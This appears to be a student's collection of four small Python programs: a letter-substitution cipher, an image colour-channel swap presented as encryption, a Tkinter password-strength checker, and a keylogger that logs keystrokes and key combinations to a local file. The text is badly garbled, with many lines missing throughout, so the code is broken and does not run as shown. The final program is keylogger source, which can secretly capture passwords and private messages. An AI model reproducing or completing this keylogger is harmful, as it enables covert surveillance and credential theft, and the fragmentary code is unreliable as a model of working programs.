Case
Case
encryp_txt = ""
if char.isalpha():
encryp_txt += encrypt_char
else:
encryp_txt += char
return encryp_txt
def main():
while True:
print(" ")
if choice == 'Q':
break
print(" ")
print(" ")
print(" ")
if choice == 'E':
print(" ")
else:
print(" ")
else:
print(" ")
if __name__ == "__main__":
main()
program 2
from PIL import Image
img = img.convert("RGB")
pixels = img.load()
for x in range(width):
for y in range(height):
r, g, b = pixels[x, y]
pixels[x, y] = (b, g, r)
img.save(output_image_path)
img = img.convert("RGB")
pixels = img.load()
for x in range(width):
for y in range(height):
b, g, r = pixels[x, y]
pixels[x, y] = (r, g, b)
img.save(output_image_path)
# Example usage:
encrypt_image('demo.jpg', 'encrypted_image.jpg')
decrypt_image('encrypted_image.jpg', 'decrypted_image.jpg')
program 3
import re
import tkinter as tk
import pyperclip
def assess_password_strength(password):
number_criteria, special_char_criteria])
if criteria_met == 5:
elif criteria_met == 4:
strength = "Strong"
elif criteria_met == 3:
strength = "Moderate"
elif criteria_met == 2:
strength = "Weak"
else:
feedback = []
if not length_criteria:
if not uppercase_criteria:
if not lowercase_criteria:
feedback.append("Password should contain at least one lowercase
letter.")
if not number_criteria:
if not special_char_criteria:
def evaluate_password(event=None):
password = entry.get()
feedback_text.delete(1.0, tk.END)
if feedback:
feedback_text.insert(tk.END, "Feedback:\n")
else:
def on_password_change(event):
password = entry.get()
update_strength_meter(strength)
feedback_text.delete(1.0, tk.END)
if feedback:
feedback_text.insert(tk.END, "Feedback:\n")
else:
def update_strength_meter(strength):
strength_meter['value'] = 100
strength_meter['value'] = 80
strength_meter['value'] = 60
strength_meter['value'] = 40
else:
strength_meter['value'] = 20
def copy_password_to_clipboard():
password = entry.get()
pyperclip.copy(password)
root = tk.Tk()
root.config(bg="#1e1e1e")
# Create widgets
entry.bind('<Return>', evaluate_password)
entry.bind('<KeyRelease>', on_password_change)
# Strength meter
strength_meter = ttk.Progressbar(output_frame, orient="horizontal",
length=200, mode="determinate")
strength_meter.pack(pady=10)
fg="#f0f0f0", relief="flat")
result_label.pack(pady=10)
root.mainloop()
program 4
log_file = "keylogs.txt"
keyboard.Key.enter: '\n',
keyboard.Key.backspace: '<BACKSPACE>',
keyboard.Key.tab: '<TAB>',
keyboard.Key.ctrl_l: '<CTRL>',
keyboard.Key.ctrl_r: '<CTRL>',
keyboard.Key.alt_l: '<ALT>',
keyboard.Key.alt_r: '<ALT>'
def on_press(key):
if key in modifier_keys:
f.write(modifier_keys[key])
else:
try:
if key.char:
if key.char.lower() == 'c':
f.write('<CTRL+C>')
f.write('<CTRL+V>')
else:
f.write(f'<CTRL+{key.char.upper()}>')
else:
f.write(key.char)
except AttributeError:
pass
def on_release(key):
if key == keyboard.Key.esc:
return False
pressed_keys.discard(key)
else:
try:
pressed_keys.discard(key)
except KeyError:
pass
pressed_keys = set()
with keyboard.Listener(
on_release=on_release) as listener:
listener.join()